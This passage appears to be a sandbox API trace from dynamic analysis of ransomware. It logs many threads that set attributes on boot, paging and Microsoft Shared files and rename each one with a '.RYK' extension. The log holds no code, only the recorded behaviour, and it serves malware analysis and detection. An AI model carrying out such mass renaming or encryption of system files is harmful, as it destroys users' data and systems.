	[0157.955] SetFileAttributesW (lpFileName="C:\\Boot\\BCD.LOG2", dwFileAttributes=0x80) returned 0
	[0157.955] CreateFileW (lpFileName="C:\\Boot\\BCD.LOG2" (normalized: "c:\\boot\\bcd.log2"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0157.955] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0157.956] MoveFileExW (lpExistingFileName="C:\\Boot\\BCD.LOG2" (normalized: "c:\\boot\\bcd.log2"), lpNewFileName="C:\\Boot\\BCD.LOG2.RYK" (normalized: "c:\\boot\\bcd.log2.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 149
	os_tid = 0x270

	[0158.441] SetFileAttributesW (lpFileName="C:\\hiberfil.sys", dwFileAttributes=0x80) returned 0
	[0158.442] CreateFileW (lpFileName="C:\\hiberfil.sys" (normalized: "c:\\hiberfil.sys"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0158.442] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0158.443] MoveFileExW (lpExistingFileName="C:\\hiberfil.sys" (normalized: "c:\\hiberfil.sys"), lpNewFileName="C:\\hiberfil.sys.RYK" (normalized: "c:\\hiberfil.sys.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 150
	os_tid = 0x914

	[0158.445] SetFileAttributesW (lpFileName="C:\\pagefile.sys", dwFileAttributes=0x80) returned 0
	[0158.445] CreateFileW (lpFileName="C:\\pagefile.sys" (normalized: "c:\\pagefile.sys"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0158.445] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0158.445] MoveFileExW (lpExistingFileName="C:\\pagefile.sys" (normalized: "c:\\pagefile.sys"), lpNewFileName="C:\\pagefile.sys.RYK" (normalized: "c:\\pagefile.sys.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 151
	os_tid = 0x730

	[0158.818] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT", dwFileAttributes=0x80) returned 0
	[0159.121] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.cnt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0159.122] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0159.122] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.cnt"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.cnt.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 152
	os_tid = 0x648

	[0158.820] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP", dwFileAttributes=0x80) returned 0
	[0159.123] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.hlp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0159.124] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0159.124] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.hlp"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.hlp.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 153
	os_tid = 0x7d0

	[0158.821] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF", dwFileAttributes=0x80) returned 0
	[0158.822] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\mtextra.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0158.822] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0158.822] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\mtextra.ttf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\mtextra.ttf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 154
	os_tid = 0x668

	[0159.126] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG", dwFileAttributes=0x80) returned 0
	[0159.126] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.cfg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0159.127] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0159.127] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.cfg"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.cfg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 155
	os_tid = 0x720

	[0159.128] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT", dwFileAttributes=0x80) returned 0
	[0159.272] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.flt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0159.502] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0159.502] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.flt"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.flt.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 156
	os_tid = 0xbd8

	[0159.131] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT", dwFileAttributes=0x80) returned 0
	[0159.273] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.fnt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0159.499] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0159.500] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.fnt"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.fnt.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 157
	os_tid = 0x848

	[0159.141] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT", dwFileAttributes=0x80) returned 0
	[0159.141] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\epsimp32.flt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0159.141] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0159.142] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\epsimp32.flt"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\epsimp32.flt.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 158
	os_tid = 0x504

	[0159.145] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT", dwFileAttributes=0x80) returned 0
	[0159.273] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\gifimp32.flt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0159.497] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0159.498] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\gifimp32.flt"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\gifimp32.flt.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 159
	os_tid = 0x6f8

	[0159.146] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT", dwFileAttributes=0x80) returned 0
	[0159.148] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\jpegim32.flt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0159.148] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0159.149] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\jpegim32.flt"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\jpegim32.flt.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 160
	os_tid = 0x64

	[0159.150] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM", dwFileAttributes=0x80) returned 0
	[0159.274] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.cgm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0159.494] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0159.495] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.cgm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.cgm.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 161
	os_tid = 0x7dc

	[0159.152] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS", dwFileAttributes=0x80) returned 0
	[0159.275] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.eps"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0159.492] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0159.493] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.eps"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.eps.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 162
	os_tid = 0x66c

	[0159.153] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF", dwFileAttributes=0x80) returned 0
	[0159.275] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0159.276] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0159.276] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 163
	os_tid = 0x724

	[0159.278] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG", dwFileAttributes=0x80) returned 0
	[0159.504] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0159.814] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0159.815] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.jpg"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 165
	os_tid = 0x640

	[0159.280] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG", dwFileAttributes=0x80) returned 0
	[0159.504] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0159.802] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0159.803] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 166
	os_tid = 0xa0c

	[0159.282] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG", dwFileAttributes=0x80) returned 0
	[0159.505] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.wpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0159.800] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0159.800] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.wpg"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.wpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 167
	os_tid = 0x458

	[0159.284] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT", dwFileAttributes=0x80) returned 0
	[0159.505] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\pictim32.flt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0159.789] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0159.796] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\pictim32.flt"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\pictim32.flt.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 168
	os_tid = 0xb00

	[0159.286] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT", dwFileAttributes=0x80) returned 0
	[0159.506] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\png32.flt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0159.781] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0160.228] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\png32.flt"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\png32.flt.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 169
	os_tid = 0x608

	[0159.290] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT", dwFileAttributes=0x80) returned 0
	[0159.507] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\wpgimp32.flt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0159.507] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0159.508] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\wpgimp32.flt"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\wpgimp32.flt.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 170
	os_tid = 0x150


Thread:
	id = 172
	os_tid = 0x9a8

	[0160.539] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml", dwFileAttributes=0x80) returned 0
	[0160.541] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0160.541] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0160.541] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 173
	os_tid = 0x828

	[0160.543] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml", dwFileAttributes=0x80) returned 0
	[0160.544] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0160.544] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0160.544] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 174
	os_tid = 0xbfc

	[0160.836] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi", dwFileAttributes=0x80) returned 0
	[0161.083] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0161.084] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0161.084] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 175
	os_tid = 0x9ec

	[0160.840] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi", dwFileAttributes=0x80) returned 0
	[0161.085] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0161.086] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0161.086] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 176
	os_tid = 0xa98

	[0160.841] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi", dwFileAttributes=0x80) returned 0
	[0161.088] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0161.088] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0161.088] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 177
	os_tid = 0xa28

	[0160.843] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi", dwFileAttributes=0x80) returned 0
	[0161.090] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0161.090] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0161.090] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 178
	os_tid = 0xbf8

